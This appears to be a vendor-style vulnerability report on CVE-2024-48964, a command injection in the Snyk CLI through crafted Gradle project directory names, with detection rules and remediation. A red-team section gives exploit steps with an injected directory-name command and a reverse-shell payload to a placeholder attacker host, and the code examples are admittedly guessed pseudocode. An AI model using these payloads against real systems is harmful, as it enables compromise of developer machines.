CVE-2024-48964

Executive Summary

CVE-2024-48964 is a critical code injection vulnerability in the Snyk CLI tool, affecting versions prior to 1.1294.0. The flaw allows an attacker to inject arbitrary code when the CLI scans an untrusted Gradle project. The vulnerability stems from improper sanitization of the current working directory name, which can be manipulated to execute malicious commands. With a CVSS score of 7.5, this vulnerability poses a significant risk to development environments where Snyk is used for security scanning. The vendor recommends only scanning trusted projects, but a patch is available in version 1.1294.0.

Supply Chain & Package Security

This vulnerability is particularly dangerous in supply chain contexts. If a developer runs snyk test inside a malicious Gradle project (e.g., one downloaded from an untrusted source or a compromised repository), the attacker can execute arbitrary code on the developer's machine. This could lead to credential theft, lateral movement, or further compromise of the software supply chain.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system or trick a user into running Snyk in a malicious project.
• Attack Complexity (AC): Low (L) – No special conditions required beyond the malicious project.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must run snyk test in the malicious project.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Potential denial of service.

Threat Level: High. The vulnerability is easy to exploit with low complexity, and the impact is severe.

Deep Dive & Mechanics

The vulnerability exists in the Snyk CLI's handling of the current working directory name when scanning Gradle projects. Specifically, the CLI constructs a command string that includes the directory name without proper sanitization. An attacker can create a Gradle project with a malicious directory name containing shell metacharacters (e.g., backticks, $(), or semicolons). When Snyk processes this directory name, it injects the malicious payload into a shell command, leading to arbitrary code execution.

For example, if the directory is named $(malicious_command), the CLI might execute something like:

gradle build -p /path/to/$(malicious_command)

This results in the execution of malicious_command before the intended Gradle command.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.1294.0): The vulnerable code likely constructs a command string by directly concatenating the directory name:

# Pseudocode
command = f"gradle build -p {current_directory}"
os.system(command)

Patched Code (1.1294.0 and later): The patched version sanitizes the directory name by escaping shell metacharacters or using safer APIs:

# Pseudocode
import shlex
safe_dir = shlex.quote(current_directory)
command = f"gradle build -p {safe_dir}"
subprocess.run(command, shell=False)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Snyk CLI version < 1.1294.0 installed.
• Victim runs snyk test in a malicious Gradle project.

Exploitation Steps:

1. Create a directory with a malicious name:

   mkdir "$(id > /tmp/pwned)"
   cd "$(id > /tmp/pwned)"
   

2. Initialize a Gradle project inside:

   gradle init
   

3. Run Snyk test:

   snyk test
   

4. The id command executes, writing output to /tmp/pwned.

Advanced Payload: For reverse shell:

mkdir "$(bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1')"

Blue Team

Detection:

• Monitor for Snyk CLI executions with unusual directory names.
• Use process monitoring to detect shell command injection patterns.

Prevention:

• Upgrade Snyk CLI to version 1.1294.0 or later.
• Restrict Snyk usage to trusted projects only.
• Implement application whitelisting to block untrusted Gradle projects.

Indicators of Compromise (IOCs)

• File System: Directories with names containing shell metacharacters (e.g., $(...), `...`, ;).
• Process: Snyk CLI process spawning unexpected child processes (e.g., bash, sh, curl).
• Network: Outbound connections to attacker-controlled IPs from Snyk CLI processes.
• Logs: Snyk CLI logs showing unusual directory names or command execution errors.

Detection Engineering

YARA Rule

rule CVE_2024_48964_Snyk_CLI_Code_Injection {
    meta:
        description = "Detects malicious directory names used to exploit CVE-2024-48964"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48964"
    strings:
        $snyk_cmd = "snyk test" nocase
        $malicious_pattern = /[\$\`\(\)\;]/ 
    condition:
        $snyk_cmd and #malicious_pattern > 3
}

Sigma Rule

title: Snyk CLI Code Injection via Malicious Directory Name
id: cve-2024-48964
status: experimental
description: Detects execution of Snyk CLI in a directory with suspicious name
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\snyk.exe'
        CommandLine|contains: 'test'
    filter:
        CommandLine|contains:
            - '$(', '`', ';'
    condition: selection and filter
falsepositives:
    - Legitimate use of special characters in directory names (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48964 Snyk CLI Code Injection - Suspicious Outbound"; flow:to_server,established; content:"snyk"; nocase; content:"test"; nocase; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Snyk CLI to version 1.1294.0 or later.
2. Workaround: Only run snyk test on trusted projects. Avoid scanning untrusted Gradle projects.
3. Long-term: Implement input validation for directory names in all CLI tools. Use parameterized commands instead of string concatenation.
4. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Report generated by Valters IT DevSecOps Intelligence Unit